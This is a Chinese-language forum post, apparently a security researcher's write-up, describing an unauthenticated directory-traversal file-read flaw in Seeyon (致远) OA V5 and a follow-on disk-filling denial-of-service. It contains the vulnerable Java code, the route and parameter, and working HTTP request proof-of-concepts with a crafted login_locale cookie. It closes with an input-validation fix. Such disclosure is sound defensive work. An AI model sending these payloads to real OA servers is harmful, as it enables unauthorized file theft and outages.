找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3879

积分

0

好友

537

主题
发表于 18 小时前 | 查看: 4| 回复: 0

在大型OA系统的安全实践中,前台未授权漏洞因其可直接利用的特性而备受关注。本文将通过一次针对致远OA(V5版本)的漏洞挖掘实例,详细解析一个存在于前台、无需登录即可触发的任意文件读取漏洞(0day),并进一步探讨其可能引发的拒绝服务(DOS)攻击风险。文章将重现从漏洞挖掘思路、代码定位到POC构造与利用的完整过程。

漏洞发现:任意ZIP文件下载

寻找文件下载相关的漏洞,一个直接的思路是搜索设置下载响应头的代码。在Java Web应用中,常见的写法是:

response.setHeader("Content-Disposition",

为此,我们将目标OA系统的Lib目录下的JAR包拖入反编译工具(如jadx-gui)进行全局搜索。

在JAR包中搜索setHeader方法的代码截图

经过筛选,最终定位到一处可疑的代码片段。该片段从Cookie中获取login_locale的值,并将其用于拼接文件路径,最终通过响应流输出文件。

涉及文件下载的核心Java代码截图

进一步向上追溯,发现localeName变量的来源确实是Cookie,而Cookie内容对攻击者而言是可控的。

从Cookie获取localeName的Java代码截图

POC构造与路径分析

  1. 定位接口路由:首先,我们需要找到调用上述漏洞函数的前端入口。根据类路径com.seeyon.apps.autoinstall.controller.AutoInstallController,在项目的Spring配置文件中进行搜索。

    Spring MVC控制器Bean配置XML截图

    如图所示,该Controller对应的Beanname属性值为/autoinstall.do,这就是我们需要访问的接口路由。

  2. 分析访问权限:跟进AutoInstallController类,发现其继承了BaseController,而BaseController又继承了Spring MVC早期提供的MultiActionController。关键在于,该类上标注了@NeedlessCheckLogin注解,这意味着该接口可以不经登录,在前台直接访问

    AutoInstallController类定义截图
    BaseController类定义部分截图

    MultiActionController允许一个控制器处理多个请求,方法名通过参数指定。在配置文件中搜索methodNameResolver,可以找到参数传递方式:paramName的值为method,因此我们的请求参数应为method=函数名

    Spring方法名解析器Bean配置XML截图

  3. 分析漏洞函数:漏洞函数regInstallDown64的核心逻辑如下(已精简无关代码):

@SetContentType
public ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String localeName = "";
    Cookie[] cookies = request.getCookies();
    for(Cookie cookie : cookies) {
        if("login_locale".equals(cookie.getName())) {
            localeName = cookie.getValue();
        }
    }
    // ... 省略从Header获取locale的备用逻辑
    String separator = System.getProperty("file.separator");
    String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";
    // ... 省略文件生成逻辑(如果文件不存在)
    BufferedInputStream br = new BufferedInputStream(new FileInputStream(fileName));
    byte[] buf = new byte[1024];
    response.setContentType("application/x-msdownload; charset=UTF-8");
    response.setHeader("Content-disposition", "attachment;filename=\"SeeyonActivexInstall64_" + localeName + ".zip\"");
    OutputStream out = response.getOutputStream();
    while((len = br.read(buf)) > 0) {
        out.write(buf, 0, len);
    }
    // ... 省略异常处理和资源关闭
    return null;
}
  1. 正常流程调试:我们先构造一个携带正常Cookie的数据包,观察文件生成和读取的路径。该OA的上下文路径(contextPath)为/seeyon,因此请求路由为/seeyon/autoinstall.do,参数method=regInstallDown64
POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=zh_CN;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

method=regInstallDown64

携带正常Cookie的HTTP请求截图

通过调试,可以确定最终读取的文件路径。其中,fileName变量被拼接为:

C:\Seeyon\A8\base\temporary\regInstall64_192.168.127.129_zh_CN.zip

调试状态下的fileName变量值截图

在服务器的C:\Seeyon\A8\base\temporary目录下,确实可以看到生成的对应ZIP文件。

服务器临时目录文件列表截图

文件内容通过HTTP响应流被下载。

代码执行到文件读取流的调试截图

  1. 漏洞利用:目录穿越:关键在于,代码中未对Cookie中的login_locale值进行任何过滤,特别是没有限制目录穿越字符../。因此,我们可以通过构造login_locale值来实现任意目录下的ZIP文件读取。

    假设我们想读取C:\Seeyon\A8\Logs.zip文件。从正常路径C:\Seeyon\A8\base\temporary\回溯到C:\Seeyon\A8\,需要跨越basetemporary两级目录。但注意fileName的拼接规则:regInstall64_192.168.127.129_ + localeName + .zip。如果我们直接传入localeName../../../Logs,拼接后的路径会变成:

    C:\Seeyon\A8\base\temporary\regInstall64_192.168.127.129_../../../Logs.zip

    这意味着需要额外跨越一个由regInstall64_192.168.127.129_形成的虚拟目录。因此,最终需要跨越三层目录

    漏洞利用POC如下(构造login_locale=/../../../Logs;,开头的/用于“消化”掉拼接产生的下划线_):

POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=/../../../Logs;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

method=regInstallDown64

利用目录穿越读取Logs.zip的请求与响应截图

请求成功,响应头中返回Content-disposition: attachment; filename="SeeyonActivexInstall64_/../../../Logs.zip",并下载了Logs.zip文件。

  1. 漏洞验证:使用成功Payload再次调试,可以清晰看到fileName的最终路径已成功穿越目录,指向目标ZIP文件。

成功路径穿越后的fileName变量值截图1
成功路径穿越后的fileName变量值截图2

漏洞延伸:拒绝服务(DOS)攻击

分析漏洞函数发现,当fileName指向的文件不存在时,代码会进入一个创建流程:在临时目录生成一系列文件并打包成指定的fileName。这里的CtpLocalFile是原生File类的封装。

文件不存在时执行创建逻辑的代码截图

这意味着攻击者可以通过短时间内发送大量不同localeName的请求,诱导系统在指定目录(甚至是系统关键目录)下创建大量无用的ZIP文件,从而占满磁盘空间,实现拒绝服务攻击。

例如,持续发送Cookie: login_locale=/../../../xianzhi;的请求。

尝试进行DOS攻击的HTTP请求截图

在服务器的temporary目录下,可以看到生成了大量以攻击参数命名的ZIP文件,容量巨大。

临时目录下因攻击生成大量ZIP文件的截图

漏洞防护建议

根本的修复方案是对用户输入的login_locale参数进行严格的过滤和校验,禁止其中出现../等目录穿越字符,或将其限制在明确的白名单字符集内。

总结与思考

本次漏洞挖掘展示了在Java Web应用,特别是使用传统框架如MultiActionController的系统中,因输入验证缺失而导致的安全风险。前台未授权访问点与文件操作功能的结合,极易形成高危漏洞。开发人员应在所有文件路径拼接处实施严格的输入净化,安全测试人员则可重点关注从Cookie、Header等位置获取并用于系统调用的参数。更多关于漏洞原理和防护的深入讨论,欢迎访问云栈社区的安全板块进行交流。




上一篇:Notion接入国产开源模型MiniMax M2.5:成本优势显著,获OpenClaw创始人推荐
下一篇:C++17 filesystem库实战指南:简化跨平台文件操作
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-6 22:28 , Processed in 0.426403 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表